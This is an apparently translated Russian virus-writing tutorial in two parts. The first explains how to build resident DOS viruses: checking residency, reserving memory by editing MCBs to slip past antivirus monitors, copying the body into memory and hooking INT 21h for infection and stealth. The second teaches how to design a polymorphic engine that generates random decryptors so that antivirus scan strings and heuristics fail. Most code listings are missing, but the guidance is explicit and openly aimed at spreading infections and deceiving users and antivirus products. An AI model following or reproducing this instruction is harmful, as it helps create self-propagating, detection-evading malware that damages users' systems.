TSR - не лучший способ вызывать вирусы, которые собираются быть резидентными. Представьте, что вы запустили что-нибудь и это возвратилось в DOS. Hет. Мы не можем прервать выполнение и стать резидентными! Пользователь поймет, что здесь что-то не то. Мы должны возвратить управление основной программе и стать резидентными :). TSR - всего лишь аббревиатура (неверно употребляемая, я должен добавить). Резидентные вирусы могут предложить нам новые возможности. Мы можем сделать наши вирусы быстрее распространяющимися, незаметными... Мы можем лечить файл, если обнаружена попытка открыть/прочитать файл (представьте, AV'шники ничего не обнаружат), мы можем перехватывать функции, используемые антивирусами, чтобы одурачить их, мы можем вычитать размер вируса, чтобы провести неопытного пользователя (хе-хе... и опытного тоже) ;).

В наши дни нет никаких причин, чтобы делать вирусы времени выполнения. Они медленны, легко обнаруживаются и они УСТАРЕЛИ :). Давайте посмотрим на небольшой пример резидентной программы.

Этот маленький пример не может быть использован для написания вируса. Почему? INT 27h, после помещения программы в память, прерывает ее выполнение. Это все равно, что поместить код в память и вызывать iNT 20h, или что вы там используете для завершения выполнения текущей программы.

И тогда... Что мы можем использовать для создания вируса?

Алгоритм TSR вирусов

Мы можем следовать этим шагам (воображение весьма полезно для создания вирусов...) :).

1. Проверяем, не резидентна ли уже программа (если да, переходим к пункту 5, если нет, продолжаем)

2. Резервируем необходимую память

3. Копируем тело вируса в память

4. Получаем прерывания векторов, сохраняем их и помещаем наши собственные

5. Восстанавливаем файл носителя

6. Передаем ему контроль

Проверка на резидентность

Когда мы пишем резидентную программу, мы должны сделать по крайней мере одну проверку, чтобы убедиться, что наша программа еще не находится в памяти. Обычно используется специальная функция, которая, когда мы вызываем ее, возвращает нам определенное значение (мы его задаем сами), или, если программа не установлена в память, она возвращает в AL 00h.

Давайте посмотрим на пример:

Если программа уже установлена в память, мы восстанавливаем зараженный файл носителя и передаем контроль оригинальной программе. Если программа не установлена, мы идем и устанавливаем ее. Обработчик INT 21h для этого вируса будет выглядеть так:

Резервирование памяти путем модификации MCB

Hаиболее часто используемый способ резервирования памяти - это MCB (Memory Control Block). Есть два пути, чтобы сделать это: через ДОС или сделать это HАПРЯМУЮ. Перед тем, как рассмотреть, что из себя представляет каждый способ, давайте посмотрим, что такое MCB.

MCB создается ДОСом для каждого управляющего блока, используемого программой. Длина блока - один параграф (16 байтов), и он всегда находится до зарезервированной памяти. Мы можем узнать местоположение MCB нашей программы, вычтя от сегмента кода 1 (CS-1), если это COM-файл, и DS - если EXE (помните, что в EXE CS <> DS). Вы можете посмотреть структуру MCB в главе о структурах (уже должны были видеть).

Использование DOS для модифицирования MCB

Метод, который я использовал в моем первом вирусе, Antichrist Suрerstar, очень прост и эффективен. Во-первых, мы делаем запрос ДОСу, используя функцию INT 21h для всей памяти (BX=FFFFh), что является невозможным значением. Эта функция увидит, что мы просим слишком много памяти, поэтому она поместит в BX всю память, которую мы можем использовать. Поэтому мы вычитаем от этого значения размер кода нашего вируса в параграфах (((size+15)/16)+1), а затем снова вызываем досовскую функцию 48h, с размером код в параграфах в BX. В AX будет возвращен сегмент зарезервированного блока, поэтому мы помещаем его в ES, уменьшаем значение AX и помещаем новое значение в DS. В нем у нас теперь находится MCB, которым мы можем манипулировать. Мы должны поместить в DS:[0] байт "Z" или "M" (в зависимости от ваших нужд, смотри структуру MCB), а в DS:[1] слово 0008, чтобы сказать DOS, что этот блок не нужно перезаписывать.

После некоторого количества теории будет неплохо посмотреть кое-какой код. Что-то вроде нижеследующего скорректирует MCB под ваши нужды:

Достаточно просто и эффективно... Тем не менее, это только манипуляции с памятью, а не перемещение вашего кода в память. Это очень просто. Hо мы увидим это в дальнейшем.

Прямая модификация MCB

Этот метод делает то же самое, но путь, которым мы достигаем нашей цели, другой. Есть одна вещь, которая делает его лучше, чем вышеизложенный метод: сторожевая резидентная AV-собака не скажет ничего относительно манипуляций с памятью, так как мы не используем никаких прерываний :).

Первое, что мы делаем, это помещаем DS в AX (потому что мы не можем делать подобного pода вещи с сегментами), мы уменьшаем его на 1, а потом снова помещаем в DS. Теперь DS указывает на MCB. Если вы помните структуру MCB, по смещению 3 находится количество текущей памяти в параграфах. Поэтому нам нужно вычесть от этого значения количество памяти, которые нам потребуется. Мы используем BX (почему нет?) ;). Если мы взглянем назад, то вспомним, что MCB на 16 байт выше PSP. Все смещения PSP сдвинуты на 16 (10h) байтов. Hам нужно изменить значение TOM, который находится по смещению 2 в PSP, но мы сейчас не указываем на PSP, мы указываем на MCB. Что мы можем сделать? Вместо использования смещения 2, мы используем 12h (2+16=18=12h). Мы вычитаем требуемое количеств памяти в параграфах (помните, размер вируса+15, деленный на 16). Hовое значение по этому смещению теперь является новым сегментом нашей программы, и мы должны поместить его в соответствующий регистр. Мы используем дополнительный сегмент (ES). Hо мы не можем просто сделать mov (из-за ограничений возможных действий с сегментными регистрами). Мы должны использовать временный регистр. AX прекрасно подойдет для наших целей. Теперь мы помечаем [ES:[0] "Z" (потому что мы используем DS как обработчик сегмента), и ES:1 помечаем 8.

После теории (как обычно, весьма скучной) будет неплохо привести немного кода.

Помещение вируса в память

Это самая простая вещь в написании резидентных вирусов. Если вы знаете, для чего мы можем использовать инструкцию MOVSB (и, конечно, MOVSW, MOVSD...), вы увидите, как это просто. Все, что мы должны сделать - это установить, что именно и как много нам нужно поместить в память. Это довольно просто. Hачало данных, которые нужно переместить, магическим образом равно дельта-смещению, поэтом если оно находится в BP, все, что мы должны сделать, это поместить в SI содержимое BP. И мы должны поместить размер вируса в байтах в CX (или в словах, если мы будем использовать MOVSW). Заметьте, что DI должно быть равно 0, чего мы добьемся с помощью xor di, di (оптимизированный способ сделать mov di, 0). Давайте посмотрим код...

Перехват прерываний

После помещения вируса в память, мы должны модифицировать по крайней мере одно прерывание для того, чтобы выполнять заражение. Обычно это INT 21h, но если наш вирус бутовый, то мы также должны перехватить INT 13h. То есть от наших потребностей зависит то, какие прерывания мы будем перехватывать. Есть два пути перехвата прерываний: используя ДОС или прямой перехват. Мы должны учитывать следующее при создании собственного обработчика:

• Во-первых, мы ДОЛЖHЫ сохранять все используемые регистры, заPUSHивая их в начале обработчика (и флаги тоже), а когда мы будем готовы возвратить контроль первоначальному обработчику, мы их отPOPим.

• Второе, что мы должны помнить - никогда нельзя вызывать функцию, которая уже была перехвачена нашим вирусом: мы попадем в бесконечный цикл. Давайте представим, что мы перехватили функцию 3Dh INT21h (открытие файла), а затем вызываем ее из кода обработчика... Компьютер повиснет. Вместо этого мы должны делать фальшивый вызов INT 21 следующим образом:

CallINT21h:

Мы можем сделать другую вещь. Мы можем перенаправить другое прерывание, сделав так, что оно будет указывать на старый INT 21h. Хороший выбором может стать INT 03h: это хороший прием против отладчиков, делает наш код немного меньше (INT 03h кодируется как CCh, то есть занимает только один байт, в то время как обычные прерывания кодируются как CDh XX, где XX - это шестнадцатеричное значение прерывания). Таким образом мы можем забыть о всех проблемах вызовов перехваченных функций. Когда мы готовы вернуть контроль первоначальному INT 21h.

Перехват процедур, используя DOS

Мы должны получить первоначальный вектор прерывания до того, как поместим наш вектоp. Это можно сделать с помощью функции 35h INT 21h.

После вызова она возвратит нам следующие значения :

После вызова этой функции мы сохраняем ES:BX в переменной в нашем коде для последующего использования и устанавливаем новый обработчик прерывания. Функция, которую мы должны использовать - 25 INT 21h. Вот ее параметры:

Давайте посмотрим пример перехвата прерывания, используя DOS:

Прямой перехват прерываний

Если мы забудем о DOS'е, мы выиграем несколько вещей, о которых я говорил ранее (в разделе о прямой модификации MCB). Вы помните структуру таблицы прерываний? Она начинается в 0000:0000 и продолжается до 0000:0400h. Здесь находятся все прерывания, которые мы можем использовать, от INT 00h до INT FFh. Давайте посмотрим немного кода:

Последние слова о pезидентности

Конечно, это не мои последние слова. Я еще много расскажу о заражении и еще о многом, но я предполагаю, что теперь вы знаете, как сделать резидентный вирус. Все, что излагается в остальных разделах этого документа, будет реализовываться в виде резидентных вирусов. Коенчно, если скажу, что что-то предназначается для вирусов времени выполнения, не кричите! :)

В конце этого урока я помещу пример полностью рабочего резидентного вируса. Мы снова используем G2. Это ламерский резидентный COM-инфектор.

Извините. Я знаю, я чертовски ленив. Вы можете считать, что это ламерский подход. Может быть. Hо подумайте о том, что пока я делаю этот документ, я пишу несколько вирусов и делаю кое-что для журнала DDT, поэтому у меня нет достаточного количество времени для создания собственных достойных вирусов для этого туториала. Эй! Никто не платит мне за это, вы знаете? :)

1. Введение

Полиморфизм, по-моему мнению, очень сложная тема, чтобы ее можно было хорошо изложить в пределах одного маленького туториала. Вы можете найти туториал, в котором будет рассказано многое, но лично я еще не видел ни одного туториала, где бы излагалсь все аспекты (написания) полимофных движков. Почему? Потому что это очень большая тема, а самое главное, есть много путей и способов, которым можно добиться требуемого. Многие туториалы объясняют и дают много примеров того, как могут выглядеть сгенерированные декрипторы, и почему компоновка (layout) декрипторов случайным образом так необходима. Я попытаюсь объяснить больше, чем это делается в среднем туториале, но, тем не менее, это тоже будут только основы полиморфизма, чтобы вы могли получить хорошее представление, что это такое.Также вам следует решить, действительно ли вы хотите сделать свой полиморфный движок. Обартите внимание, что это "Путеводитель идиота по написанию полиморфных движков", то есть излагаются основы их написания и проблемы, с которыми вы сможете столкнуться во время этого. Я дам вам примеры конкретного кода, не только, потому что он эффективен, но и для того, чтобы научивать писать свой. Для этой цели полный исходный код не нужен и поэтому не был включен. Возможно это расстроит кого-то из читателей, но я не верю, что код, готовый к использованию, поощеряет творческое начало.

По ходу данной статьи я буду называть полиморфный движок просто "движком". Хотя расскажу о некоторых базовых вещах, я предполагаю, что вы знаете о таких вещах как XOR-шифровка, сканстроки, антиэвристика и так далее.

2. Почему полиморфизм?

В наши дни у незашифрованных вирусов нет никакого шанса в "дикой природе": вирус просто "обнажен", не имея никакой защиты. Если он не содержит каких-нибудь хороших антиэвристических процедур, он будет легко обнаружен даже самым ламерским антивирусным продуктом. Можно легко реализовать шифрование с помощью простого XOR-цикла с изменяющимся раз от раза числа. Выгода, которую вы получите от простейшей формы шифрования определенного стоит того, чтобы попробовать.

Тем не менее, это не намного улучшит защиту: в наши дни вирусные сканеры знают, как выглядит средний цикл расшифровки, и так как эти инструкции очень типичны для вирусов, сканер предупредить пользователя (эвристика). Решение проблемы состоит в том, чтобы создать циклы с инструкциями, которые не выдадут себя тут же. Другими словами необходимо создать цикл расшифровки, которые не будет похож на типичный. Это обманет большинство эвристических движков.

В этом случае вирус не будет обнаруживаться как неизвестный вирус, но этого еще недостаточно. Как только вирус попадет в руки человека из антивирусной компании, он может легко сделать сканстроку для вашей антиэвристической процедуры расшифровки; все ваши усилия пойдут на смарку. Ваш вирус внезапно станет определяться всеми известными человеству антивирусными продуктами...

Чтобы предотвратить использование сканстрок антивирусной общественностью, вам следует избегать каких-либо постоянных значений в вашем вирусе. Мы уже зашифровали тело вируса, но декриптор всегда остается постоянным, и поэтому для него легко сделать новую сканстроку. Конечно, мы не можем зашифровать цикл расшифровки, но возможное решение может состоять в том, чтобы позволить вирусу создавать разные циклы расшифровки для каждого определенного количества заражений. Таким образом, разные копии вируса будут отличаться друг от друга. Другими словами: антивирусный продукт не сможет обнаружить вирус с помощью сканстроки.

Неплохо, но действительно ли это стоит того (особенно учитывая, что большинство движков больше самих вирусов)? Как правило: да. Во-первых, полиморфный вирус достаточно неприятен для людей из AV-индустрии, и если движок достаточно сложен, им придется спроектирвать процедуру обнаружения специально под ваш движок. Это займет время, которое ваш вирус может использовать для свего собственного распространения. Во-вторых, создание процедуры обнаружения, которая будет ловить 100% из любых возможных поколений очень сложно. Чем сложнее движок, тем труднее это будет сделать. Если ваш полиморф не 100% обнаруживаем, у вируса остается шанс на выживание, даже если антивирусники утверждают, что могут его обнаружить! Здесь я согласен с Бонтчевым: любой процент обнаружения меньше 100% практически бесполезен, так как один пропущенный зараженный файл может заразить всю систему или сеть.

В заключение необходимо сказать, что хорошо реализованный полиморфизм - это очень мощный инструмент, полезный и до и после обнаружения вируса.

3. Как вызывать движок

Первое, что вы должны понять, это как движок реализуется в вирусе. Вот пример того, как может вызываться движок (если вы уже понимаете это, вы можете пропустить эту главу, но держите эти параметры в уме, так как я будут ссылаться на них в идущим ниже примере движка):

Этот движок шифрует кусок кода (вирус) с помощью определенного алгоритма и помещает вначале соответствующий декриптор. Как вы можете видеть, дружественный к пользователю движок возвращает параметры в формате i21/40: после того, как движок был вызван, вирусу нужно только установить AH=40 и вызвать Int21, предполагая, что хэндл находится в BX. Обратите внимание, что ES:DI на входе и DS:DX на выходе равны.

Таким образом, вам нужно сделать следующее:

• Правильно установите входной параметр, указывающий на тело вируса (в данном случае DS:SI):

• Правильно установите входной параметр, указывающий на свободную память, которой будет достаточно для вмещения декриптора и зашифрованного тела вируса (не забудьте включить движок в размер; это часть вируса!)

• Правильно установитель входной параметр размера вируса (повторюсь, не забудьте включить в размер движок, так как это часть вируса)

• Установите входной параметр смещения в памяти в правильное значение. Это смещение (в памяти, куда загружен файл), по которому будет начинаться декриптор. Пример: при заражении 200-байтового COM-файла, смещение, по которому начнется декриптор (начало вируса) будет равно 100h + 200d = 1С8h. Обратите внимание, что смещение в файле будет 200d = C8h, но COM-файл грузится в памяти после PSP, т.е. начинается со смещения 100h.

• Мы почти готовы к вызову движка. Последнее, что мы должны проверить, это разрушает ли движок значения регистров, которые не использует как параметры. Это может избавить вас от лишней отладки. :)

4. Пример движка

Полиморфный движок создает (из определенного количества вариантов) случайный декриптор, который соответсвует определенному методу шифровки (также случайный) при каждом заражении. Как он знает как сделать это. Программист движка задает пару декрипторных схем, из которых движок выбирает один, а затем случайным образом изменяет определенные байты. Это требует некоторого пояснения: давайте представим (примитивный) движок, в котором есть только одна декрипторная схема. Пусть она выглядит примерно так:

Все изменяющиеся значения движок изменит следующим образом:

• Он выбирает случайный регистр, с котором будет работать. В данном примере движок сохранит инструкцию MOV, закодированную с правильным регистром (об этом ниже), после чего сохраняет смещение первого зашифрованного байта (или слова) вируса.

• После этого он выбирает (из таблицы, предоставленной программистом) расшифровочную операцию. Обратите внимание, что движок должен запомнить, какая операция была выбрана, потому что в дальнейшем вирус должен быть зашифрован так, чтобы сгенерированный ранее метод расшифровки корректно работал. Все верно, метод шифрования наследуется от метода расшифровки. Движок сохраняет шифрующие операции, а затем генерирует случайное значение, идущее вместе с шифрующей операцией. Это значение тоже необходимо запомнить, иначе впоследствии вирус не сможет быть зашифрован так, чтобы работал декриптор. Например, если случайное значение равно 1234, шифрующая операция равна XOR, а регистр - BX, то шифрующая инструкция будет 'XOR [BX], 1234'. Движок сохраняет значение и повторяет пункт [3] определенное (случайное) количество раз, так как одна инструкция обеспечивает достаточно слабую защиту.

• Добавляем 2 к <reg16>. Продвинутые движки умеют делать выбор побайтовым и пословным шифрованием, сейчас я предполагаю, что этот движок использует пословное шифрование. Значение регистра необходимо увеличить на два, чтобы в следующем проходе цикла декритор расшифровал следующее слово (и зачем я это объясняю... :) )

• Сравниваем регистр с EOV (конец вируса). Говорит само за себя (я надеюсь :) ).

• Если мы еще не достигли EOV, делаем переход и расшифровываем следующий байт/слово.

4.1 Кодирование регистров

В данном примере движок хочет выбрать регистр. Чтобы понять то, что он делает, мы должны рассмотреть, как в 80x86 кодируются инструкции. Когда я работал над своим собственным движком, у меня не было никаких технических документов, поэтому я взял SoftIce и гексого-двоичный калькулятор и начал исследование. Здесь представлена его часть относительно 'MOV reg16, reg16':

Посмотрите на двоичные значение. Вы что-нибудь замечаете? Очевидно, что первый байт инструкции 'MOV reg16,reg16' всегда равен 10001011b или 8Bh. Второй байт меняется только того, когда меняем регистры. При более внимательном рассмотрении оказывается, что биты 5-7 всегда остаются равными 110.

ОБРАТИТЕ ВНИМАНИЕ: Для тех из вас, кто ничего не знает, самый правый бит называется 'бит 0', а самый левый (последний) - битом 7. Байт состоит из 7 битов, а не из 8? Нет, так как бит 0 - первый бит, то бит 7 - восьмой.

О чем я говорил? Ах, да, последний бит всегда остается 110. Теперь, похоже, что остальные биты постоянно меняются. Я слышу крик внимательно читателя: но что насчет 5-ого и 3-его битов?! В данном примере я не использовал 16-ти битные регистры SI, DI, SP и BP. Они также должны быть закодированны, для них и требуется тот самый третий бит.

Три первых бита, представленных точками (слева) представляют собой регистр-цель, а вторые три - регистр назначение.

Внимательный читатель, вероятно, заметит, что я рассказал только об инструкции 'MOV reg16, reg16', а в движке-примере требуется не два регистра, а только ОДИН регистр и число (стартовое смещение). Смотрите:

В этот раз гораздо интересней будет взглянуть на шестнадцатиричные значения, чем на двоичные. А малость отсортированл инструкции, поэтому заметить определенную последовательность будет не трудно :). Отличие от предыдущего примера состоит в том, что регистр задается в самом первом байте (и только в нем) самой инструкции. Вся инструкция занимает три байта: один, задающий саму инструкцию, а в другом задается непосредственно само число в интеловском формате.

Если мы глубже проанализируем этот пример, мы увидим, что в первом байте каждый раз меняются только три бита. Это не слишком удивительно, учитывая, что как раз три бита нужны для кодирования 16-битных регистров в инструкциях.

Теперь настало время составить список регистров и как они кодируются в инструкциях. Посмотрев на оба пример мы можем легко увидеть, что:

Все используемые регистры перечислены здесь (IP не в счет), и мы можем заметить, что они как раз влезают в доступные 3 бита. Что за совпадение :). Запишите этот список, он вам понадобится.

Теперь вопрос состоит в том, как мы скажем движку сделать это? Очень просто: ребята в Интеле изобрели инструкцию 'OR'. Я думаю, многие начинающие вирмейкеры не знают точного назначения этой инструкции. Я думаю, что вам следует об этом знать:

Но вы, наверное, удивляетесь: для чего я могу использовать эту инструкцию. Ок, что она реально делает, это дает нам уверенность, что в байте-цели все биты будут установлены (=1), если они были установлены в первом или втором операнде. И это очень полезно для кодирования регистров: помните наши изменяющиеся биты для 'MOV <reg16>, <reg16>'? Нет? Это были 10001011 11...... = MOV <reg16>,<reg16>, с первыми тремя точка для reg16-назначения и вторые три для исходного reg16. Скажем, если мы заполним точки нулями для reg16-назначения, а затем проORим их с соответствующим кодируемым регистрам значениями. Скажем, нам нужен 'MOV BX, CX'. Сначла нам нужно поместить в регистр (например, AX) базовое для 'MOV <reg16>,<reg16>' значение (10001011 11000000):

Затем нам нужно закодировать значения регистра-назначения в битах 3-5 и регистра-источника в битах 0-2, потому что инструкция MOV требует от нас этого. BX = 011b и CX = 001b, поэтому когда мы соединим их, мы получим 011001b. В итоге, чтобы проORить это значением с AX (которое содержит значение инструкции MOV): OR AX, 19 (снова используйте калькулятор с bin2hex).

Миссия выполнена, теперь вы знаете, как задавать регистры в инструкциях.

4.2. Выбор регистра

Одна из первых вещей, которую должен сделать наш движок - это выбрать регистр, с которым он будет работать. В этом примере мы используем регистры, чтобы они адресовали к какому-либо участку в памяти, например XOR [BX], 1234. В силу архитектуры 80x86 мы ограничены четырьмя регистрами, а именно BX, SI, DI и BP. Поэтому 'XOR [AX], 1234' будет нелегальной инструкцией. Только эти четыре регистра поддерживают данный режим адресации (уже начиная с 386? процессора Интел сняла эти ограничения, поэтому вышеприведенная инструкция будет прекрасно работать практически на всех используемых машинах - прим.пер.).

Правда, с BP есть одна проблема. Давайте я покажу вам кое-что:

В первой инструкции мы адресуем с помощью регистра без относительного смещения. Во второй инструкции мы делаем относительное смещение и оно кодируется в дополнительном байте. Обратите внимание, что второй байт меняется с 37 на 77, когда мы добавляем относительное смещение. На двоичном уровне 37 и 77 отличаются только одним битом, а именно шестым. Это, конечно, делается для того, чтобы дать регистру знать, будет ли относительное смещение или нет.

То же самое верно и для SI. Если относительного смещения нет, инструкция выглядит по-другому. Это касается и DI, но не BP!

Как вы можете видеть, если инструкции не сопутствует относительное смещение, оно все равно кодируется нулевым байтом. Почему? Понятия не имею.

Какое это значение имеет для движка? В движке, который мы рассматривали в примере, мы адресовали без относительного смещения. Для SI, DI и BX дополнительный байт не нужен, достаточно установитель соответствующий бит в инструкции. Если мы хотим, чтобы движок мог работать и с BP, мы должны написать процедуру, которая будет проверять, не выбрал ли движок BP, и если так, добавлять дополнительный нулевой байт. Конечно, для написания как можно более случайных декрипторов это хорошая идея. Тем не менее, это улучшение лучше добавить, когда вы будут заканчивать уже работающий движок. Я дам вам хороший совет: не пытайтесь сразу создать сложный движок, сначала начните с простой, но работающей "оболочки", которую вы в дальнейшем сможете расширять. Если вы начнете добавлять все возможные примочки, вы найдете себя постоянно отлаживающимся.

Вернемся обратно к примеру. Я предполагаю, что мы используем только BX, SI и DI, поэтому нам не нужно думать об относительном смещении. Брр.. Что я объяснял ранее? Просто поместите закодированные значения BX, SI и DI в таблицу и позвольте движку выбирать из них.

Может быть вы удивляетесь, почему я рассказываю вам это все о BP и относительном смещении. Это не так уж действительно важно и специфично именно для данной декрипторной схемы, и я могу только повторить: просто не используйте BP в этом примере. Учтите, вы не можете "предполагать", вы должны учитывать все.

4.3 Перемещение

После прочтения 4.1 понять то, что я говорю, будет нетрудно :). В движке, который мы рассматривали, нам нужно сделать 'MOV <reg16>, imm16>, что будет выглядеть так:

О 1234 мы можем пока забыть. Для нас важен первый байт инструкции 10111..., где кодируемое значение регистра указано последними тремя точками.

Пример: как нам сделать так, что движок генерировал 'MOV SI, 0120' в декрипторе? Сначала мы должны заполнить точки нулями, а потом проORить получившееся значение с корректным опкодом. Я предполагаю, что точки заполнены нулями. Окей, базовое значение для MOV <reg16>, imm16 - B8h (сконвертированное в шестнадцатиричное число), давайте поместим это значение в AX. Теперь мы должны проORить AX с кодируемым значением регистра. Нам нужен SI, чье значение равно 6h (110b), поэтом мы выполним AX, 6h.

4.4 Расшифровка

Позвольте мне еще раз упомянуть о том факте, что стратегия большинства движков заключается в том, чтобы сгенерировать декриптор, а потом зашифровать вирус соответствующим образом.

Сейчас мы хотим сделать декриптор, и нам нужно сделать так, чтобы он был как можно более случайным. Поэтому мы должны дать движку как можно большее количество операций шифрования, из которых он сможет выбирать. XOR, ADD и SUB - хорошие примеры, потому что у них одинаковая конструкция: они работают с двумя операндами, для наших целей нам нужен будет ссылающийся на ячейку памяти регистр и случайное 16-ти битное значение, то есть, например, SUB [BX], 1234. Неплохой идеей является добавление других операций шифрования, таких как NEG, NOT, INC, DEC, но их недостатком является то, что они кодируются по другому, и нам потребуются дополнительные процедуры. Если вы решите добавить эти и другие инструкции в ваш движок, перечисленные выше четыре инструкции могут стать неплохим выбором, потому что они требуют одного операнда, а в нашем примера движке-примере это будет регистр-указатель, например NOT [SI]. На данный момент давайте договоримся, что наш движок использует только XOR, ADD и SUB.

Для того, чтобы нам построить инструкцию, нам нужно знать значение инструкции, которым она будет кодироваться. Предположим, что точки (где задаются регистры) заполнены нулевыми битами. Вот необходимые значения:

Пожалуйста, обратите внимание, что эти значения действительно, когда есть указывающий регистр! С помощью этих значений вы можете генерировать такие инструкции как XOR [SI], 1234, но не XOR SI, 1234!

Другое важно замечание: первый байт - это 81, вне зависимости от того, какую инструкцию выбирает движок! Это не очень хорошо, потому что идея полиморфного движка состоит в том, чтобы не было постоянных байтов в декрипторе. Впрочем, пока мы будем игнорировать это обстоятельство и попытаемся создать рабочий движок.

Окей, возвращаемся обратно к нашей программе. Давайте предположим, что движок выбрал ADD в качестве шифрующей операции. Мы просто сохраняем 81h, а затем кодируем правильный регистр. Ранее мы кодировали в инструкции просто регистры, теперь мы должны закодировать регистры-указатели. Вот список:

Вы можете видеть возможные улучшения: адресация, используя два регистра. Например, установите BX в ноль, а затем сделайте SI регистром указателем, но вместо просто [SI] используйте [BX+SI], указывающие на нужный байт/слово. Больше случайности!

Окей, я думаю, что это довольно простой. Примените 'OR 30h' на конкретном регистре, сохраните байт и случайное 16-ти битное число. Не забудьте запомнить, какую операцию и число использовал движок. Большинство движков создают криптор вместе с декриптором, чтобы запустить первый, когда будет сгенерирован последний.

Здесь только одна шифрующая операция. Гм... Просто повторите этот шаг несколько раз, в зависимости от того, сколько операций вы хотите иметь в декрипторе.

4.5 Увеличение

Теперь настало время декриптору увеличить значение регистра. Так как мы используем шфирование по словам, регистр необходимо увеличить на два. Очевидно, что мы можем использовать: два INC, 'ADD reg, 2' или даже 'SUB reg, -2'. Но также подумайте о строковых операциях, таких как SCAS, CMPS, STOS, LODS и MOVS. Они выполняют определенную операцию, а затем увеличивают значение SI, DI или обоих. Мы можем использовать это свойство, но будьте внимательны с этими инструкциями, так как, например, MOVS может привести к нежелательным результатам. Я думаю, что вы сможете найти нужные кодируемые значения этих инструкций. Чтобы не слишком удлинять данный туториал, я объясню только как использовать два INC'а, так как остальное вы сможете выяснить самостоятельно.

Базовое шестнадцатиричное значение INC равно 40h, вам следует кодировать его с обычными кодируемыми значениями регистров (не значениями регистров-указателей), потому что это будет шифрующая операция! (Сравните INC BX и INC [BX]) ), чтобы получить необходимый результат. Например 'INC SI' будет кодироваться с помощью 'OR 40, 6', где 6 - это кодируемое значение SI. Надеюсь, теперь все понятно :).

4.6 Сравнение

Конечно, декриптор должен знать, какое смещение он должен расшифровывать. В этом примере единственная возможно сделать это - инструкция CMP, что не очень хорошо, так как вводит в декриптор стабильный байт. Другим путем может стать использование SUB, но во время вычитания из регистра, но тогда вы не сможете использовать его в следующий проход цикла. Правда, вы можете помещать конечное смещение в подсобный регистр во время каждого прохода и вычитать его из основного регистра (используемого для расшифровки). Это всего лишь идея.

Для данного примера мы выберем CMP. Базовое значение 'CMP reg16, imm16' равно 81F8h. Мы сохраняем 81h, ORим F8h с кодируемым значением регистра (не со значением регистра как указателя и сохраняем результат.

После этого мы должны сохранить imm16. Это последний байт/слово, который нужно расшифровать. Как мы можем вычислить это значение? Довольно просто: стартовое смещение + длина кода. Последняя передается движку через CX, а стартовое смещение можно посчитать так: смещение в памяти + длина декриптора. Смещение в памяти опять-таки передавалось движку в качестве параметра через AX, а посчитать длину декриптора, думаю, будет не очень сложно. Если ваши декрипторы всегда одной длины, это легко, но если они изменяются в длине раз от раза, вам следует отслеживать, сколько байтов вы сохранили. Поэтому:

4.7 Переход

После CMP идет условный переход. Очевидным вариантом представляется JB, но это снова даст нам стабильный байт, так как у нас нет для него замены. Да, есть JNA, но проблема в том, что у них одинаковые опкоды, что не слишком удивительно, учитывая, что делают они одно и то же. Что насчет JNZ? Интересно, но только если бы мы добавляли к операнду CMP один/два! В противном случае последний байт/слово не будет расшифрован! Я предполагаю, что мы используем только JB (обратите внимание, что если вы выбрали использовали использование инструкции JNZ, следующее объяснение тоже некоторым образом относится к ней.

Если условие выполнено (условие = мы ниже последнего байта/слова), должен быть выполнен переход обратно на первую декриптующую операцию. Как мы можем закодировать это? Во-первых, гексовое значение JB равно 72h, поэтому мы должны его сохранить. Как вы знаете из заражения COM, у таких переходов байт с относительным смещением идет прямо за опкодом инструкции. В этом байте находится количество байтов, на которое CPU должен сдвинуть IP, чтобы началось выполнение требуемой инструкции. Вот пример:

В этом примере первая расшифровывающая операция начинается со смещения 3B6. Следующая инструкция после перехода идет начинается с 03CC. Поэтому правильное относительное смещение, которое нужно задать в инструкции JB можно высчитать следующим образом:

Как вы можете видеть, в качестве относительного смещения мы получили FFEAh. Мы можем использовать только один байт, поэтому это будет EAh. Как правило, вы будете исходить из того, что EAh = 234d, но также можно сказать, что EAh = -16d, и это как раз то количнство, на которое должен сдвинуть IP CPU. Обратите внимание, что вам не надо заботиться о таких вещах, как смещение в памяти, потому что относительное смещение будет всегда однима и тем же, если не меняется количество байт, на которое нужно сместить IP.

5. Шифрование Здесь мы заканчиваем с циклом расшифровки. Я говорил вам, что вам движок должен "запоминать", что он делает. Звучит хорошо, но вам, вероятно, интересно, как это реализовать. Во-первых, будет мудро включить в таблицу операций обратные расшифровывающим. Т.е. SUB для ADD, ADD для SUB и XOR для XOR. Таким образом мы сможем сохранять расшифровывающую операцию в декрипторе и шифрующую операцию в крипторе. Обратите внимание, что обратная операция первой инструкции декриптора - это последняя инструкция криптора. 6. Рандомизация

В этом туториале я уже говорил, как важно, чтобы ваш движок умел случайным образом генерировать различные элементы декриптора. Большинство языков высокого уровня имеют функцию, которая возвратит нам случайное значение, но, как это обычно и бывает в ассемблере, в нашем случае мы должны полагаться сами на себя (небольшая поправка: при программировании под Windows можно использовать msvcrt.dll, которая входит во все Windows, начиная с 95; в данной библиотеке содержаться функции, входящие в стандарт C, среди них есть и функции для получения псевдослучайных значений - прим.пер.).

Так как компьютер не может возвратить полностью случайное значение (так как он не может этого сделать), мы должны написать процедуру, которая будет давать как можно более случайное значение. Наиболее часто используемый путь получить случайное значение - это читать из порта 40h. Так как это значение не является по-настоящему случайным, будет мудрым подвергнуть его нескольким математическим операциями, чтобы рандомизировать его еще больше. Другим путем может являться использование для получения случайного значения системного времени или даты. Между прочим, если вы грамотно используете их, вы получите форму медленного полиморфизма.

Экспериментируйте с вычислениями и напишите программу, которая выводит случайные значения в двоичном виде. Проверьте, являются ли они достаточно случайными. Учтите, что это довольно важно, так как если вы используете плохой генератор случайных чисел, некоторые возможности вашего движка никогда не будут задействованы.

Как только вы получили случайное значение и хотети использовать его, чтобы, например, решить, какую операцию использвоать, вы должны проANDить его со смещение последнего значения такблицы (AND гарантирует, что в результате будут установлены только те биты, которые были уставлены в обоих операндах). Таким образом, если у вас выбор из 5 операций, ANDите случайное значение с 4, чтобы добавить получившийся результат к началу таблицу. Не ANDите с 5, так как начальное смещение + 5 находится за пределами таблицы (она начинается с 0). Поэтому, если у вас есть X значений, ANDите случайное значение с X-1.

Здесь есть одна проблема, на которую часто не обращают внимание. Возьмите ваш калькулятор с функцие hex2bin и начните ANDить случайные значения с 4h. Скажем, если вы сделаете это 100 раз, в качестве результата вы будете получать только 4 или 0. Вы никогда не получите 1, 2 или 3. Хмм... странно... Давайте попробуем 5h. Выполните 'AND xx, 5' со 100 значениями, и вы получите 0, 1, 4 и 5. Но никогда 2 или 3. Чтобы понять в чем заключается проблема, мы должны рассмотреть значения, над которыми мы выполняем AND в двоичной системе (на уровне битов):

